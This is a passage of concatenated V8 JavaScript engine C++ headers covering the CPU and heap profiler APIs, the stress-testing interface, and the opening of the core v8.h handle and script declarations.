   * Deletes the profile and removes it from CpuProfiler's list.
   * All pointers to nodes previously returned become invalid.
   * Profiles with the same uid but obtained using different
   * security token are not deleted, but become inaccessible
   * using FindProfile method. It is embedder's responsibility
   * to call Delete on these profiles.
   */
  void Delete();
};


/**
 * Interface for controlling CPU profiling.
 */
class V8EXPORT CpuProfiler {
 public:
  /**
   * A note on security tokens usage. As scripts from different
   * origins can run inside a single V8 instance, it is possible to
   * have functions from different security contexts intermixed in a
   * single CPU profile. To avoid exposing function names belonging to
   * other contexts, filtering by security token is performed while
   * obtaining profiling results.
   */

  /**
   * Returns the number of profiles collected (doesn't include
   * profiles that are being collected at the moment of call.)
   */
  static int GetProfilesCount();

  /** Returns a profile by index. */
  static const CpuProfile* GetProfile(
      int index,
      Handle<Value> security_token = Handle<Value>());

  /** Returns a profile by uid. */
  static const CpuProfile* FindProfile(
      unsigned uid,
      Handle<Value> security_token = Handle<Value>());

  /**
   * Starts collecting CPU profile. Title may be an empty string. It
   * is allowed to have several profiles being collected at
   * once. Attempts to start collecting several profiles with the same
   * title are silently ignored. While collecting a profile, functions
   * from all security contexts are included in it. The token-based
   * filtering is only performed when querying for a profile.
   */
  static void StartProfiling(Handle<String> title);

  /**
   * Stops collecting CPU profile with a given title and returns it.
   * If the title given is empty, finishes the last profile started.
   */
  static const CpuProfile* StopProfiling(
      Handle<String> title,
      Handle<Value> security_token = Handle<Value>());

  /**
   * Deletes all existing profiles, also cancelling all profiling
   * activity.  All previously returned pointers to profiles and their
   * contents become invalid after this call.
   */
  static void DeleteAllProfiles();
};


class HeapGraphNode;


/**
 * HeapSnapshotEdge represents a directed connection between heap
 * graph nodes: from retainers to retained nodes.
 */
class V8EXPORT HeapGraphEdge {
 public:
  enum Type {
    kContextVariable = 0,  // A variable from a function context.
    kElement = 1,          // An element of an array.
    kProperty = 2,         // A named object property.
    kInternal = 3,         // A link that can't be accessed from JS,
                           // thus, its name isn't a real property name
                           // (e.g. parts of a ConsString).
    kHidden = 4,           // A link that is needed for proper sizes
                           // calculation, but may be hidden from user.
    kShortcut = 5,         // A link that must not be followed during
                           // sizes calculation.
    kWeak = 6              // A weak reference (ignored by the GC).
  };

  /** Returns edge type (see HeapGraphEdge::Type). */
  Type GetType() const;

  /**
   * Returns edge name. This can be a variable name, an element index, or
   * a property name.
   */
  Handle<Value> GetName() const;

  /** Returns origin node. */
  const HeapGraphNode* GetFromNode() const;

  /** Returns destination node. */
  const HeapGraphNode* GetToNode() const;
};


/**
 * HeapGraphNode represents a node in a heap graph.
 */
class V8EXPORT HeapGraphNode {
 public:
  enum Type {
    kHidden = 0,      // Hidden node, may be filtered when shown to user.
    kArray = 1,       // An array of elements.
    kString = 2,      // A string.
    kObject = 3,      // A JS object (except for arrays and strings).
    kCode = 4,        // Compiled code.
    kClosure = 5,     // Function closure.
    kRegExp = 6,      // RegExp.
    kHeapNumber = 7,  // Number stored in the heap.
    kNative = 8,      // Native object (not from V8 heap).
    kSynthetic = 9    // Synthetic object, usualy used for grouping
                      // snapshot items together.
  };

  /** Returns node type (see HeapGraphNode::Type). */
  Type GetType() const;

  /**
   * Returns node name. Depending on node's type this can be the name
   * of the constructor (for objects), the name of the function (for
   * closures), string value, or an empty string (for compiled code).
   */
  Handle<String> GetName() const;

  /**
   * Returns node id. For the same heap object, the id remains the same
   * across all snapshots.
   */
  SnapshotObjectId GetId() const;

  /** Returns node's own size, in bytes. */
  int GetSelfSize() const;

  /**
   * Returns node's retained size, in bytes. That is, self + sizes of
   * the objects that are reachable only from this object. In other
   * words, the size of memory that will be reclaimed having this node
   * collected.
   */
  int GetRetainedSize() const;

  /** Returns child nodes count of the node. */
  int GetChildrenCount() const;

  /** Retrieves a child by index. */
  const HeapGraphEdge* GetChild(int index) const;

  /** Returns retainer nodes count of the node. */
  int GetRetainersCount() const;

  /** Returns a retainer by index. */
  const HeapGraphEdge* GetRetainer(int index) const;

  /**
   * Returns a dominator node. This is the node that participates in every
   * path from the snapshot root to the current node.
   */
  const HeapGraphNode* GetDominatorNode() const;

  /**
   * Finds and returns a value from the heap corresponding to this node,
   * if the value is still reachable.
   */
  Handle<Value> GetHeapValue() const;
};


/**
 * HeapSnapshots record the state of the JS heap at some moment.
 */
class V8EXPORT HeapSnapshot {
 public:
  enum Type {
    kFull = 0  // Heap snapshot with all instances and references.
  };
  enum SerializationFormat {
    kJSON = 0  // See format description near 'Serialize' method.
  };

  /** Returns heap snapshot type. */
  Type GetType() const;

  /** Returns heap snapshot UID (assigned by the profiler.) */
  unsigned GetUid() const;

  /** Returns heap snapshot title. */
  Handle<String> GetTitle() const;

  /** Returns the root node of the heap graph. */
  const HeapGraphNode* GetRoot() const;

  /** Returns a node by its id. */
  const HeapGraphNode* GetNodeById(SnapshotObjectId id) const;

  /** Returns total nodes count in the snapshot. */
  int GetNodesCount() const;

  /** Returns a node by index. */
  const HeapGraphNode* GetNode(int index) const;

  /** Returns a max seen JS object Id. */
  SnapshotObjectId GetMaxSnapshotJSObjectId() const;

  /**
   * Deletes the snapshot and removes it from HeapProfiler's list.
   * All pointers to nodes, edges and paths previously returned become
   * invalid.
   */
  void Delete();

  /**
   * Prepare a serialized representation of the snapshot. The result
   * is written into the stream provided in chunks of specified size.
   * The total length of the serialized snapshot is unknown in
   * advance, it can be roughly equal to JS heap size (that means,
   * it can be really big - tens of megabytes).
   *
   * For the JSON format, heap contents are represented as an object
   * with the following structure:
   *
   *  {
   *    snapshot: {
   *      title: "...",
   *      uid: nnn,
   *      meta: { meta-info },
   *      node_count: nnn,
   *      edge_count: nnn
   *    },
   *    nodes: [nodes array],
   *    edges: [edges array],
   *    strings: [strings array]
   *  }
   *
   * Nodes reference strings, other nodes, and edges by their indexes
   * in corresponding arrays.
   */
  void Serialize(OutputStream* stream, SerializationFormat format) const;
};


class RetainedObjectInfo;

/**
 * Interface for controlling heap profiling.
 */
class V8EXPORT HeapProfiler {
 public:
  /**
   * Callback function invoked for obtaining RetainedObjectInfo for
   * the given JavaScript wrapper object. It is prohibited to enter V8
   * while the callback is running: only getters on the handle and
   * GetPointerFromInternalField on the objects are allowed.
   */
  typedef RetainedObjectInfo* (*WrapperInfoCallback)
      (uint16_t class_id, Handle<Value> wrapper);

  /** Returns the number of snapshots taken. */
  static int GetSnapshotsCount();

  /** Returns a snapshot by index. */
  static const HeapSnapshot* GetSnapshot(int index);

  /** Returns a profile by uid. */
  static const HeapSnapshot* FindSnapshot(unsigned uid);

  /**
   * Returns SnapshotObjectId for a heap object referenced by |value| if
   * it has been seen by the heap profiler, kUnknownObjectId otherwise.
   */
  static SnapshotObjectId GetSnapshotObjectId(Handle<Value> value);

  /**
   * A constant for invalid SnapshotObjectId. GetSnapshotObjectId will return
   * it in case heap profiler cannot find id  for the object passed as
   * parameter. HeapSnapshot::GetNodeById will always return NULL for such id.
   */
  static const SnapshotObjectId kUnknownObjectId = 0;

  /**
   * Takes a heap snapshot and returns it. Title may be an empty string.
   * See HeapSnapshot::Type for types description.
   */
  static const HeapSnapshot* TakeSnapshot(
      Handle<String> title,
      HeapSnapshot::Type type = HeapSnapshot::kFull,
      ActivityControl* control = NULL);

  /**
   * Starts tracking of heap objects population statistics. After calling
   * this method, all heap objects relocations done by the garbage collector
   * are being registered.
   */
  static void StartHeapObjectsTracking();

  /**
   * Adds a new time interval entry to the aggregated statistics array. The
   * time interval entry contains information on the current heap objects
   * population size. The method also updates aggregated statistics and
   * reports updates for all previous time intervals via the OutputStream
   * object. Updates on each time interval are provided as a stream of the
   * HeapStatsUpdate structure instances.
   * The return value of the function is the last seen heap object Id.
   *
   * StartHeapObjectsTracking must be called before the first call to this
   * method.
   */
  static SnapshotObjectId PushHeapObjectsStats(OutputStream* stream);

  /**
   * Stops tracking of heap objects population statistics, cleans up all
   * collected data. StartHeapObjectsTracking must be called again prior to
   * calling PushHeapObjectsStats next time.
   */
  static void StopHeapObjectsTracking();

  /**
   * Deletes all snapshots taken. All previously returned pointers to
   * snapshots and their contents become invalid after this call.
   */
  static void DeleteAllSnapshots();

  /** Binds a callback to embedder's class ID. */
  static void DefineWrapperClass(
      uint16_t class_id,
      WrapperInfoCallback callback);

  /**
   * Default value of persistent handle class ID. Must not be used to
   * define a class. Can be used to reset a class of a persistent
   * handle.
   */
  static const uint16_t kPersistentHandleNoClassId = 0;

  /** Returns the number of currently existing persistent handles. */
  static int GetPersistentHandleCount();

  /** Returns memory used for profiler internal data and snapshots. */
  static size_t GetMemorySizeUsedByProfiler();
};


/**
 * Interface for providing information about embedder's objects
 * held by global handles. This information is reported in two ways:
 *
 *  1. When calling AddObjectGroup, an embedder may pass
 *     RetainedObjectInfo instance describing the group.  To collect
 *     this information while taking a heap snapshot, V8 calls GC
 *     prologue and epilogue callbacks.
 *
 *  2. When a heap snapshot is collected, V8 additionally
 *     requests RetainedObjectInfos for persistent handles that
 *     were not previously reported via AddObjectGroup.
 *
 * Thus, if an embedder wants to provide information about native
 * objects for heap snapshots, he can do it in a GC prologue
 * handler, and / or by assigning wrapper class ids in the following way:
 *
 *  1. Bind a callback to class id by calling DefineWrapperClass.
 *  2. Call SetWrapperClassId on certain persistent handles.
 *
 * V8 takes ownership of RetainedObjectInfo instances passed to it and
 * keeps them alive only during snapshot collection. Afterwards, they
 * are freed by calling the Dispose class function.
 */
class V8EXPORT RetainedObjectInfo {  // NOLINT
 public:
  /** Called by V8 when it no longer needs an instance. */
  virtual void Dispose() = 0;

  /** Returns whether two instances are equivalent. */
  virtual bool IsEquivalent(RetainedObjectInfo* other) = 0;

  /**
   * Returns hash value for the instance. Equivalent instances
   * must have the same hash value.
   */
  virtual intptr_t GetHash() = 0;

  /**
   * Returns human-readable label. It must be a null-terminated UTF-8
   * encoded string. V8 copies its contents during a call to GetLabel.
   */
  virtual const char* GetLabel() = 0;

  /**
   * Returns human-readable group label. It must be a null-terminated UTF-8
   * encoded string. V8 copies its contents during a call to GetGroupLabel.
   * Heap snapshot generator will collect all the group names, create
   * top level entries with these names and attach the objects to the
   * corresponding top level group objects. There is a default
   * implementation which is required because embedders don't have their
   * own implementation yet.
   */
  virtual const char* GetGroupLabel() { return GetLabel(); }

  /**
   * Returns element count in case if a global handle retains
   * a subgraph by holding one of its nodes.
   */
  virtual intptr_t GetElementCount() { return -1; }

  /** Returns embedder's object size in bytes. */
  virtual intptr_t GetSizeInBytes() { return -1; }

 protected:
  RetainedObjectInfo() {}
  virtual ~RetainedObjectInfo() {}

 private:
  RetainedObjectInfo(const RetainedObjectInfo&);
  RetainedObjectInfo& operator=(const RetainedObjectInfo&);
};


/**
 * A struct for exporting HeapStats data from V8, using "push" model.
 * See HeapProfiler::PushHeapObjectsStats.
 */
struct HeapStatsUpdate {
  HeapStatsUpdate(uint32_t index, uint32_t count, uint32_t size)
    : index(index), count(count), size(size) { }
  uint32_t index;  // Index of the time interval that was changed.
  uint32_t count;  // New value of count field for the interval with this index.
  uint32_t size;  // New value of size field for the interval with this index.
};


}  // namespace v8


#undef V8EXPORT


#endif  // V8_V8_PROFILER_H_







WebSearch/WebSearch/v8/v8-testing.h

// Copyright 2010 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//     * Neither the name of Google Inc. nor the names of its
//       contributors may be used to endorse or promote products derived
//       from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

#ifndef V8_V8_TEST_H_
#define V8_V8_TEST_H_

#include "v8.h"

#ifdef _WIN32
// Setup for Windows DLL export/import. See v8.h in this directory for
// information on how to build/use V8 as a DLL.
#if defined(BUILDING_V8_SHARED) && defined(USING_V8_SHARED)
#error both BUILDING_V8_SHARED and USING_V8_SHARED are set - please check the\
  build configuration to ensure that at most one of these is set
#endif

#ifdef BUILDING_V8_SHARED
#define V8EXPORT __declspec(dllexport)
#elif USING_V8_SHARED
#define V8EXPORT __declspec(dllimport)
#else
#define V8EXPORT
#endif

#else  // _WIN32

// Setup for Linux shared library export. See v8.h in this directory for
// information on how to build/use V8 as shared library.
#if defined(__GNUC__) && (__GNUC__ >= 4) && defined(V8_SHARED)
#define V8EXPORT __attribute__ ((visibility("default")))
#else  // defined(__GNUC__) && (__GNUC__ >= 4)
#define V8EXPORT
#endif  // defined(__GNUC__) && (__GNUC__ >= 4)

#endif  // _WIN32


/**
 * Testing support for the V8 JavaScript engine.
 */
namespace v8 {

class V8EXPORT Testing {
 public:
  enum StressType {
    kStressTypeOpt,
    kStressTypeDeopt
  };

  /**
   * Set the type of stressing to do. The default if not set is kStressTypeOpt.
   */
  static void SetStressRunType(StressType type);

  /**
   * Get the number of runs of a given test that is required to get the full
   * stress coverage.
   */
  static int GetStressRuns();

  /**
   * Indicate the number of the run which is about to start. The value of run
   * should be between 0 and one less than the result from GetStressRuns()
   */
  static void PrepareStressRun(int run);

  /**
   * Force deoptimization of all functions.
   */
  static void DeoptimizeAll();
};


}  // namespace v8


#undef V8EXPORT


#endif  // V8_V8_TEST_H_
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// Copyright 2012 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//     * Neither the name of Google Inc. nor the names of its
//       contributors may be used to endorse or promote products derived
//       from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

/** \mainpage V8 API Reference Guide
 *
 * V8 is Google's open source JavaScript engine.
 *
 * This set of documents provides reference material generated from the
 * V8 header file, include/v8.h.
 *
 * For other documentation see http://code.google.com/apis/v8/
 */

#ifndef V8_H_
#define V8_H_

#include "v8stdint.h"

#ifdef _WIN32

// Setup for Windows DLL export/import. When building the V8 DLL the
// BUILDING_V8_SHARED needs to be defined. When building a program which uses
// the V8 DLL USING_V8_SHARED needs to be defined. When either building the V8
// static library or building a program which uses the V8 static library neither
// BUILDING_V8_SHARED nor USING_V8_SHARED should be defined.
#if defined(BUILDING_V8_SHARED) && defined(USING_V8_SHARED)
#error both BUILDING_V8_SHARED and USING_V8_SHARED are set - please check the\
  build configuration to ensure that at most one of these is set
#endif

#ifdef BUILDING_V8_SHARED
#define V8EXPORT __declspec(dllexport)
#elif USING_V8_SHARED
#define V8EXPORT __declspec(dllimport)
#else
#define V8EXPORT
#endif  // BUILDING_V8_SHARED

#else  // _WIN32

// Setup for Linux shared library export.
#if defined(__GNUC__) && (__GNUC__ >= 4) && defined(V8_SHARED)
#ifdef BUILDING_V8_SHARED
#define V8EXPORT __attribute__ ((visibility("default")))
#else
#define V8EXPORT
#endif
#else  // defined(__GNUC__) && (__GNUC__ >= 4)
#define V8EXPORT
#endif  // defined(__GNUC__) && (__GNUC__ >= 4)

#endif  // _WIN32

/**
 * The v8 JavaScript engine.
 */
namespace v8 {

class Context;
class String;
class StringObject;
class Value;
class Utils;
class Number;
class NumberObject;
class Object;
class Array;
class Int32;
class Uint32;
class External;
class Primitive;
class Boolean;
class BooleanObject;
class Integer;
class Function;
class Date;
class ImplementationUtilities;
class Signature;
class AccessorSignature;
template <class T> class Handle;
template <class T> class Local;
template <class T> class Persistent;
class FunctionTemplate;
class ObjectTemplate;
class Data;
class AccessorInfo;
class StackTrace;
class StackFrame;
class Isolate;

namespace internal {

class Arguments;
class Object;
class Heap;
class HeapObject;
class Isolate;
}


// --- Weak Handles ---


/**
 * A weak reference callback function.
 *
 * This callback should either explicitly invoke Dispose on |object| if
 * V8 wrapper is not needed anymore, or 'revive' it by invocation of MakeWeak.
 *
 * \param object the weak global object to be reclaimed by the garbage collector
 * \param parameter the value passed in when making the weak global object
 */
typedef void (*WeakReferenceCallback)(Persistent<Value> object,
                                      void* parameter);


// --- Handles ---

#define TYPE_CHECK(T, S)                                       \
  while (false) {                                              \
    *(static_cast<T* volatile*>(0)) = static_cast<S*>(0);      \
  }

/**
 * An object reference managed by the v8 garbage collector.
 *
 * All objects returned from v8 have to be tracked by the garbage
 * collector so that it knows that the objects are still alive.  Also,
 * because the garbage collector may move objects, it is unsafe to
 * point directly to an object.  Instead, all objects are stored in
 * handles which are known by the garbage collector and updated
 * whenever an object moves.  Handles should always be passed by value
 * (except in cases like out-parameters) and they should never be
 * allocated on the heap.
 *
 * There are two types of handles: local and persistent handles.
 * Local handles are light-weight and transient and typically used in
 * local operations.  They are managed by HandleScopes.  Persistent
 * handles can be used when storing objects across several independent
 * operations and have to be explicitly deallocated when they're no
 * longer used.
 *
 * It is safe to extract the object stored in the handle by
 * dereferencing the handle (for instance, to extract the Object* from
 * a Handle<Object>); the value will still be governed by a handle
 * behind the scenes and the same rules apply to these values as to
 * their handles.
 */
template <class T> class Handle {
 public:
  /**
   * Creates an empty handle.
   */
  inline Handle() : val_(0) {}

  /**
   * Creates a new handle for the specified value.
   */
  inline explicit Handle(T* val) : val_(val) {}

  /**
   * Creates a handle for the contents of the specified handle.  This
   * constructor allows you to pass handles as arguments by value and
   * to assign between handles.  However, if you try to assign between
   * incompatible handles, for instance from a Handle<String> to a
   * Handle<Number> it will cause a compile-time error.  Assigning
   * between compatible handles, for instance assigning a
   * Handle<String> to a variable declared as Handle<Value>, is legal
   * because String is a subclass of Value.
   */
  template <class S> inline Handle(Handle<S> that)
      : val_(reinterpret_cast<T*>(*that)) {
    /**
     * This check fails when trying to convert between incompatible
     * handles. For example, converting from a Handle<String> to a
     * Handle<Number>.
     */
    TYPE_CHECK(T, S);
  }

  /**
   * Returns true if the handle is empty.
   */
  inline bool IsEmpty() const { return val_ == 0; }

  /**
   * Sets the handle to be empty. IsEmpty() will then return true.
   */
  inline void Clear() { val_ = 0; }

  inline T* operator->() const { return val_; }

  inline T* operator*() const { return val_; }

  /**
   * Checks whether two handles are the same.
   * Returns true if both are empty, or if the objects
   * to which they refer are identical.
   * The handles' references are not checked.
   */
  template <class S> inline bool operator==(Handle<S> that) const {
    internal::Object** a = reinterpret_cast<internal::Object**>(**this);
    internal::Object** b = reinterpret_cast<internal::Object**>(*that);
    if (a == 0) return b == 0;
    if (b == 0) return false;
    return *a == *b;
  }

  /**
   * Checks whether two handles are different.
   * Returns true if only one of the handles is empty, or if
   * the objects to which they refer are different.
   * The handles' references are not checked.
   */
  template <class S> inline bool operator!=(Handle<S> that) const {
    return !operator==(that);
  }

  template <class S> static inline Handle<T> Cast(Handle<S> that) {
#ifdef V8_ENABLE_CHECKS
    // If we're going to perform the type check then we have to check
    // that the handle isn't empty before doing the checked cast.
    if (that.IsEmpty()) return Handle<T>();
#endif
    return Handle<T>(T::Cast(*that));
  }

  template <class S> inline Handle<S> As() {
    return Handle<S>::Cast(*this);
  }

 private:
  T* val_;
};


/**
 * A light-weight stack-allocated object handle.  All operations
 * that return objects from within v8 return them in local handles.  They
 * are created within HandleScopes, and all local handles allocated within a
 * handle scope are destroyed when the handle scope is destroyed.  Hence it
 * is not necessary to explicitly deallocate local handles.
 */
template <class T> class Local : public Handle<T> {
 public:
  inline Local();
  template <class S> inline Local(Local<S> that)
      : Handle<T>(reinterpret_cast<T*>(*that)) {
    /**
     * This check fails when trying to convert between incompatible
     * handles. For example, converting from a Handle<String> to a
     * Handle<Number>.
     */
    TYPE_CHECK(T, S);
  }
  template <class S> inline Local(S* that) : Handle<T>(that) { }
  template <class S> static inline Local<T> Cast(Local<S> that) {
#ifdef V8_ENABLE_CHECKS
    // If we're going to perform the type check then we have to check
    // that the handle isn't empty before doing the checked cast.
    if (that.IsEmpty()) return Local<T>();
#endif
    return Local<T>(T::Cast(*that));
  }

  template <class S> inline Local<S> As() {
    return Local<S>::Cast(*this);
  }

  /** Create a local handle for the content of another handle.
   *  The referee is kept alive by the local handle even when
   *  the original handle is destroyed/disposed.
   */
  inline static Local<T> New(Handle<T> that);
};


/**
 * An object reference that is independent of any handle scope.  Where
 * a Local handle only lives as long as the HandleScope in which it was
 * allocated, a Persistent handle remains valid until it is explicitly
 * disposed.
 *
 * A persistent handle contains a reference to a storage cell within
 * the v8 engine which holds an object value and which is updated by
 * the garbage collector whenever the object is moved.  A new storage
 * cell can be created using Persistent::New and existing handles can
 * be disposed using Persistent::Dispose.  Since persistent handles
 * are passed by value you may have many persistent handle objects
 * that point to the same storage cell.  For instance, if you pass a
 * persistent handle as an argument to a function you will not get two
 * different storage cells but rather two references to the same
 * storage cell.
 */
template <class T> class Persistent : public Handle<T> {
 public:
  /**
   * Creates an empty persistent handle that doesn't point to any
   * storage cell.
   */
  inline Persistent();

  /**
   * Creates a persistent handle for the same storage cell as the
   * specified handle.  This constructor allows you to pass persistent
   * handles as arguments by value and to assign between persistent
   * handles.  However, attempting to assign between incompatible
   * persistent handles, for instance from a Persistent<String> to a
   * Persistent<Number> will cause a compile-time error.  Assigning
   * between compatible persistent handles, for instance assigning a
   * Persistent<String> to a variable declared as Persistent<Value>,
   * is allowed as String is a subclass of Value.
   */
  template <class S> inline Persistent(Persistent<S> that)
      : Handle<T>(reinterpret_cast<T*>(*that)) {
    /**
     * This check fails when trying to convert between incompatible
     * handles. For example, converting from a Handle<String> to a
     * Handle<Number>.
     */
    TYPE_CHECK(T, S);
  }

  template <class S> inline Persistent(S* that) : Handle<T>(that) { }

  /**
   * "Casts" a plain handle which is known to be a persistent handle
   * to a persistent handle.
   */
  template <class S> explicit inline Persistent(Handle<S> that)
      : Handle<T>(*that) { }

  template <class S> static inline Persistent<T> Cast(Persistent<S> that) {
#ifdef V8_ENABLE_CHECKS
    // If we're going to perform the type check then we have to check
    // that the handle isn't empty before doing the checked cast.
    if (that.IsEmpty()) return Persistent<T>();
#endif
    return Persistent<T>(T::Cast(*that));
  }

  template <class S> inline Persistent<S> As() {
    return Persistent<S>::Cast(*this);
  }

  /**
   * Creates a new persistent handle for an existing local or
   * persistent handle.
   */
  inline static Persistent<T> New(Handle<T> that);

  /**
   * Releases the storage cell referenced by this persistent handle.
   * Does not remove the reference to the cell from any handles.
   * This handle's reference, and any other references to the storage
   * cell remain and IsEmpty will still return false.
   */
  inline void Dispose();

  /**
   * Make the reference to this object weak.  When only weak handles
   * refer to the object, the garbage collector will perform a
   * callback to the given V8::WeakReferenceCallback function, passing
   * it the object reference and the given parameters.
   */
  inline void MakeWeak(void* parameters, WeakReferenceCallback callback);

  /** Clears the weak reference to this object.*/
  inline void ClearWeak();

  /**
   * Marks the reference to this object independent. Garbage collector
   * is free to ignore any object groups containing this object.
   * Weak callback for an independent handle should not
   * assume that it will be preceded by a global GC prologue callback
   * or followed by a global GC epilogue callback.
   */
  inline void MarkIndependent();

  /**
   *Checks if the handle holds the only reference to an object.
   */
  inline bool IsNearDeath() const;

  /**
   * Returns true if the handle's reference is weak.
   */
  inline bool IsWeak() const;

  /**
   * Assigns a wrapper class ID to the handle. See RetainedObjectInfo
   * interface description in v8-profiler.h for details.
   */
  inline void SetWrapperClassId(uint16_t class_id);

 private:
  friend class ImplementationUtilities;
  friend class ObjectTemplate;
};


 /**
 * A stack-allocated class that governs a number of local handles.
 * After a handle scope has been created, all local handles will be
 * allocated within that handle scope until either the handle scope is
 * deleted or another handle scope is created.  If there is already a
 * handle scope and a new one is created, all allocations will take
 * place in the new handle scope until it is deleted.  After that,
 * new handles will again be allocated in the original handle scope.
 *
 * After the handle scope of a local handle has been deleted the
 * garbage collector will no longer track the object stored in the
 * handle and may deallocate it.  The behavior of accessing a handle
 * for which the handle scope has been deleted is undefined.
 */
class V8EXPORT HandleScope {
 public:
  HandleScope();

  ~HandleScope();

  /**
   * Closes the handle scope and returns the value as a handle in the
   * previous scope, which is the new current scope after the call.
   */
  template <class T> Local<T> Close(Handle<T> value);

  /**
   * Counts the number of allocated handles.
   */
  static int NumberOfHandles();

  /**
   * Creates a new handle with the given value.
   */
  static internal::Object** CreateHandle(internal::Object* value);
  // Faster version, uses HeapObject to obtain the current Isolate.
  static internal::Object** CreateHandle(internal::HeapObject* value);

 private:
  // Make it impossible to create heap-allocated or illegal handle
  // scopes by disallowing certain operations.
  HandleScope(const HandleScope&);
  void operator=(const HandleScope&);
  void* operator new(size_t size);
  void operator delete(void*, size_t);

  // This Data class is accessible internally as HandleScopeData through a
  // typedef in the ImplementationUtilities class.
  class V8EXPORT Data {
   public:
    internal::Object** next;
    internal::Object** limit;
    int level;
    inline void Initialize() {
      next = limit = NULL;
      level = 0;
    }
  };

  void Leave();

  internal::Isolate* isolate_;
  internal::Object** prev_next_;
  internal::Object** prev_limit_;

  // Allow for the active closing of HandleScopes which allows to pass a handle
  // from the HandleScope being closed to the next top most HandleScope.
  bool is_closed_;
  internal::Object** RawClose(internal::Object** value);

  friend class ImplementationUtilities;
};


// --- Special objects ---


/**
 * The superclass of values and API object templates.
 */
class V8EXPORT Data {
 private:
  Data();
};


/**
 * Pre-compilation data that can be associated with a script.  This
 * data can be calculated for a script in advance of actually
 * compiling it, and can be stored between compilations.  When script
 * data is given to the compile method compilation will be faster.
 */
class V8EXPORT ScriptData {  // NOLINT
 public:
  virtual ~ScriptData() { }

  /**
   * Pre-compiles the specified script (context-independent).
   *
   * \param input Pointer to UTF-8 script source code.
   * \param length Length of UTF-8 script source code.
   */
  static ScriptData* PreCompile(const char* input, int length);

  /**
   * Pre-compiles the specified script (context-independent).
   *
   * NOTE: Pre-compilation using this method cannot happen on another thread
   * without using Lockers.
   *
   * \param source Script source code.
   */
  static ScriptData* PreCompile(Handle<String> source);

  /**
   * Load previous pre-compilation data.
   *
   * \param data Pointer to data returned by a call to Data() of a previous
   *   ScriptData. Ownership is not transferred.
   * \param length Length of data.
   */
  static ScriptData* New(const char* data, int length);

  /**
   * Returns the length of Data().
   */
  virtual int Length() = 0;

  /**
   * Returns a serialized representation of this ScriptData that can later be
   * passed to New(). NOTE: Serialized data is platform-dependent.
   */
  virtual const char* Data() = 0;

  /**
   * Returns true if the source code could not be parsed.
   */
  virtual bool HasError() = 0;
};


/**
 * The origin, within a file, of a script.
 */
class ScriptOrigin {
 public:
  inline ScriptOrigin(
      Handle<Value> resource_name,
      Handle<Integer> resource_line_offset = Handle<Integer>(),
      Handle<Integer> resource_column_offset = Handle<Integer>())
      : resource_name_(resource_name),
        resource_line_offset_(resource_line_offset),
        resource_column_offset_(resource_column_offset) { }
  inline Handle<Value> ResourceName() const;
  inline Handle<Integer> ResourceLineOffset() const;
  inline Handle<Integer> ResourceColumnOffset() const;
 private:
  Handle<Value> resource_name_;
  Handle<Integer> resource_line_offset_;
  Handle<Integer> resource_column_offset_;
};


/**
 * A compiled JavaScript script.
 */
class V8EXPORT Script {
 public:
  /**
   * Compiles the specified script (context-independent).
   *
   * \param source Script source code.
   * \param origin Script origin, owned by caller, no references are kept
   *   when New() returns
   * \param pre_data Pre-parsing data, as obtained by ScriptData::PreCompile()
   *   using pre_data speeds compilation if it's done multiple times.
   *   Owned by caller, no references are kept when New() returns.
   * \param script_data Arbitrary data associated with script. Using
   *   this has same effect as calling SetData(), but allows data to be
   *   available to compile event handlers.
   * \return Compiled script object (context independent; when run it
   *   will use the currently entered context).
   */
  static Local<Script> New(Handle<String> source,
                           ScriptOrigin* origin = NULL,
                           ScriptData* pre_data = NULL,
                           Handle<String> script_data = Handle<String>());

  /**
   * Compiles the specified script using the specified file name
   * object (typically a string) as the script's origin.
   *
   * \param source Script source code.
   * \param file_name file name object (typically a string) to be used
   *   as the script's origin.
   * \return Compiled script object (context independent; when run it
   *   will use the currently entered context).
   */
